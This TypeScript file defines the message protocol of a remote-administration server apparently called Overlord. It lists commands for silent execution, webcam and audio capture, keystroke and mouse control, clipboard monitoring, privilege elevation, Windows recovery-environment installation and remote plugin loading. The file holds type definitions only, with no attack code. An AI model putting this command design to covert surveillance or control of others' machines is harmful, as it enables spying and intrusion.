overlord/Overlord-Server/src/protocol.ts

import { encode, decode } from "@msgpack/msgpack";

export type MessageKind =
  | "hello"
  | "hello_ack"
  | "ping"
  | "pong"
  | "command"
  | "command_result"
  | "desktop_encoder_capabilities"
  | "desktop_stream_stats"
  | "client_logs_result"
  | "screenshot_result"
  | "frame"
  | "status"
  | "plugin_event"
  | "notification"
  | "webcam_devices"
  | "notification_config"
  | "enrollment_challenge"
  | "enrollment_status";

export type Hello = {
  type: "hello";
  id: string;
  host: string;
  os: string;
  arch: string;
  hostArch?: string;
  version: string;
  user: string;
  monitors: number;
  monitorInfo?: { width: number; height: number }[];
  country?: string;
  hwid?: string;
  inMemory?: boolean;
  cpu?: string;
  gpu?: string;
  ram?: string;
  batteryPercent?: number;
  batteryCharging?: boolean;
  isAdmin?: boolean;
  elevation?: string;
  permissions?: Record<string, boolean>;
  publicKey?: string;
  signature?: string;
  publicIP?: string;
  lastCrashReason?: string;
  lastCrashDetail?: string;
};

export type EnrollmentChallenge = {
  type: "enrollment_challenge";
  nonce: string;
};

export type EnrollmentStatusMsg = {
  type: "enrollment_status";
  status: "pending" | "approved" | "denied";
};

export type HelloAck = {
  type: "hello_ack";
  id: string;
  commands?: Command[];
  notification?: {
    keywords: string[];
    minIntervalMs?: number;
    clipboardEnabled?: boolean;
  };
};
export type Ping = { type: "ping"; ts?: number };
export type Pong = { type: "pong"; ts?: number };

export type CommandType =
  | "input"
  | "remote_start"
  | "remote_stop"
  | "webcam_start"
  | "webcam_stop"
  | "webcam_list"
  | "webcam_select"
  | "webcam_set_fps"
  | "disconnect"
  | "reconnect"
  | "screenshot"
  | "ping"
  | "console_start"
  | "console_input"
  | "console_stop"
  | "console_resize"
  | "file_list"
  | "file_request_access"
  | "file_download"
  | "file_upload"
  | "file_delete"
  | "file_mkdir"
  | "file_zip"
  | "file_read"
  | "file_write"
  | "file_search"
  | "file_copy"
  | "file_move"
  | "file_chmod"
  | "file_execute"
  | "silent_exec"
  | "voice_session_start"
  | "voice_session_stop"
  | "voice_downlink"
  | "voice_capabilities"
  | "client_logs_request"
  | "desktop_audio_start"
  | "desktop_audio_stop"
  | "process_list"
  | "process_kill"
  | "plugin_load"
  | "plugin_load_http"
  | "plugin_unload"
  | "agent_update"
  | "clipboard_set"
  | "clipboard_sync_start"
  | "clipboard_sync_stop"
  | "desktop_start"
  | "desktop_stop"
  | "desktop_select_display"
  | "desktop_enable_mouse"
  | "desktop_enable_keyboard"
  | "desktop_set_fps"
  | "desktop_set_bitrate"
  | "darwin_request_permissions"
  | "webrtc_publish"
  | "webrtc_stop"
  | "webrtc_p2p_offer"
  | "webrtc_p2p_ice"
  | "webrtc_p2p_stop"
  | "script_exec"
  | "uninstall"
  | "elevate"
  | "file_upload_http"
  | "winre_probe"
  | "winre_install"
  | "winre_uninstall"
  | "file_icon"
  | "file_thumb"
  | "file_dirsize";

export type Command = {
  type: "command";
  commandType: CommandType;
  payload?: unknown;
  id?: string;
};

export type CommandResult = {
  type: "command_result";
  commandId?: string;
  ok: boolean;
  message?: string;
};

export type ClientLogEntry = {
  seq: number;
  at: number;
  source: string;
  blob: string;
};

export type ClientLogsResult = {
  type: "client_logs_result";
  commandId?: string;
  ok: boolean;
  entries?: ClientLogEntry[];
  dropped?: number;
  fromSeq?: number;
  toSeq?: number;
  enabled: boolean;
  error?: string;
};

export type ScreenshotResult = {
  type: "screenshot_result";
  commandId?: string;
  format: "jpeg" | "webp" | "png" | string;
  width?: number;
  height?: number;
  data: Uint8Array;
  error?: string;
};

export type FrameHeader = {
  monitor: number;
  fps: number;
  format: "jpeg" | "webp" | "raw" | "h264";
  width?: number;
  height?: number;
  hash?: string;
  backstage?: boolean;
  webcam?: boolean;
};

export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
export type FrameAck = { type: "frame_ack" };
export type DesktopStreamStats = {
  type: "desktop_stream_stats";
  fps: number;
  format: string;
  bytes: number;
  width: number;
  height: number;
  captureMs: number;
  encodeMs: number;
  sendMs: number;
  totalMs: number;
  transport: "websocket" | "webrtc" | string;
};
export type Status = {
  type: "status";
  state: "idle" | "streaming" | "error";
  detail?: string;
};

export type WebcamDevice = {
  index: number;
  name: string;
  maxFps?: number;
};

export type WebcamDevices = {
  type: "webcam_devices";
  devices: WebcamDevice[];
  selected: number;
};
export type ConsoleOutput = {
  type: "console_output";
  sessionId: string;
  data?: Uint8Array;
  exitCode?: number;
  error?: string;
};

export type FileEntry = {
  name: string;
  path: string;
  isDir: boolean;
  size: number;
  modTime: number;
  mode?: string;
  owner?: string;
  group?: string;
  attrs?: number;
};

export type FileIconResultItem = {
  key: string;
  png?: Uint8Array;
  error?: string;
};

export type FileIconResult = {
  type: "file_icon_result";
  commandId?: string;
  icons: FileIconResultItem[];
};

export type FileThumbnailResultItem = {
  key: string;
  jpeg?: Uint8Array;
  w?: number;
  h?: number;
  error?: string;
};

export type FileThumbnailResult = {
  type: "file_thumb_result";
  commandId?: string;
  thumbs: FileThumbnailResultItem[];
};

export type FolderSizeResult = {
  type: "file_dirsize_result";
  commandId?: string;
  path: string;
  bytes: number;
  files: number;
  dirs: number;
  done: boolean;
  error?: string;
};

export type FileListResult = {
  type: "file_list_result";
  commandId?: string;
  path: string;
  entries: FileEntry[];
  error?: string;
  accessDenied?: boolean;
  canRequestAccess?: boolean;
  accessHelp?: string;
};

export type FileDownload = {
  type: "file_download";
  commandId?: string;
  path: string;
  data: Uint8Array;
  offset: number;
  total: number;
  chunkIndex?: number;
  chunksTotal?: number;
  error?: string;
};

export type FileUploadResult = {
  type: "file_upload_result";
  commandId?: string;
  transferId?: string;
  path: string;
  ok: boolean;
  offset?: number;
  size?: number;
  received?: number;
  total?: number;
  error?: string;
};

export type ProcessInfo = {
  pid: number;
  ppid: number;
  name: string;
  exePath?: string;
  cpu: number;
  memory: number;
  username?: string;
  type?: string;
  self?: boolean;
};

export type ProcessListResult = {
  type: "process_list_result";
  commandId?: string;
  processes: ProcessInfo[];
  error?: string;
};

export type FileReadResult = {
  type: "file_read_result";
  commandId?: string;
  path: string;
  content: string;
  isBinary: boolean;
  error?: string;
};

export type FileSearchResult = {
  type: "file_search_result";
  commandId?: string;
  searchId: string;
  results: Array<{
    path: string;
    line?: number;
    match?: string;
  }>;
  complete: boolean;
  error?: string;
};

export type ScriptResult = {
  type: "script_result";
  commandId?: string;
  ok: boolean;
  output?: string;
  error?: string;
};

export type PluginManifest = {
  id: string;
  name: string;
  apiVersion?: number;
  runtime?: "native" | "wasm" | "server" | string;
  nativeLoader?: "memory" | "os" | string;
  nativeEntrypoints?: PluginNativeEntrypoints;
  version?: string;
  description?: string;
  binary?: string;
  binaries?: Record<string, string>;
  wasm?: string;
  needs?: PluginNeeds;
  entry?: string;
  assets?: {
    html?: string;
    css?: string;
    js?: string;
  };
  navbar?: {
    label?: string;
    icon?: string;
  };
  dashboard?: PluginDashboardIntegration;
  build?: PluginBuildIntegration;
  hasServer?: boolean;
};

export type PluginNativeEntrypoints = {
  onLoad?: string;
  onEvent?: string;
  onUnload?: string;
  setCallback?: string;
  getRuntime?: string;
};

export type PluginDashboardIntegration = {
  clientBadges?: PluginDashboardBadgeDefinition[];
};

export type PluginDashboardBadgeDefinition = {
  id: string;
  label?: string;
  title?: string;
  icon?: string;
  imageUrl?: string;
  href?: string;
  tone?: "info" | "good" | "warn" | "danger" | string;
  priority?: number;
};

export type PluginBuildIntegration = {
  enabledByDefault?: boolean;
  label?: string;
  description?: string;
  settings?: PluginBuildSetting[];
  actions?: PluginBuildAction[];
  requires?: PluginBuildRequirement[];
};

export type PluginBuildSetting = {
  key: string;
  label?: string;
  type?: "string" | "number" | "boolean" | "select" | "textarea" | string;
  default?: unknown;
  placeholder?: string;
  description?: string;
  required?: boolean;
  min?: number;
  max?: number;
  options?: Array<{ value: string; label?: string } | string>;
};

export type PluginBuildAction = {
  id: string;
  label: string;
  icon?: string;
  description?: string;
  setBuild?: Record<string, unknown>;
  setSettings?: Record<string, unknown>;
  requires?: PluginBuildRequirement[];
};

export type PluginBuildRequirement = {
  field?: string;
  pluginSetting?: string;
  equals?: unknown;
  notEquals?: unknown;
  truthy?: boolean;
  falsy?: boolean;
  includes?: unknown;
  platforms?: string[];
  message?: string;
};

export type PluginFileNeed = {
  bucket: "home" | "desktop" | "documents" | "downloads" | "temp" | "appData" | "pluginData" | "fullDisk" | string;
  access: Array<"read" | "write" | "list" | "delete" | "mkdir" | string>;
  reason?: string;
};

export type PluginNeeds = {
  files?: PluginFileNeed[];
};

export type PluginSignatureInfo = {
  signed: boolean;
  trusted: boolean;
  valid: boolean;
  fingerprint?: string;
  algorithm?: string;
};

export type PluginEvent = {
  type: "plugin_event";
  pluginId: string;
  event: string;
  payload?: unknown;
  error?: string;
};

export type NotificationEvent = {
  type: "notification";
  category: "active_window";
  title: string;
  process?: string;
  processPath?: string;
  pid?: number;
  keyword?: string;
  ts?: number;
};

export type NotificationConfig = {
  type: "notification_config";
  keywords: string[];
  minIntervalMs?: number;
  clipboardEnabled?: boolean;
};

export type WireMessage =
  | Hello
  | HelloAck
  | Ping
  | Pong
  | Command
  | CommandResult
  | ClientLogsResult
  | ScreenshotResult
  | Frame
  | FrameAck
  | DesktopStreamStats
  | Status
  | ConsoleOutput
  | FileListResult
  | FileDownload
  | FileUploadResult
  | ProcessListResult
  | FileReadResult
  | FileSearchResult
  | ScriptResult
  | PluginEvent
  | NotificationEvent
  | NotificationConfig
  | EnrollmentChallenge
  | EnrollmentStatusMsg;

export function encodeMessage(msg: WireMessage): Uint8Array {
  return encode(msg);
}

export function decodeMessage(
  input: Uint8Array | ArrayBuffer | string,
): WireMessage {
  if (typeof input === "string") {
    return JSON.parse(input) as WireMessage;
  }
  return decode(input) as WireMessage;
}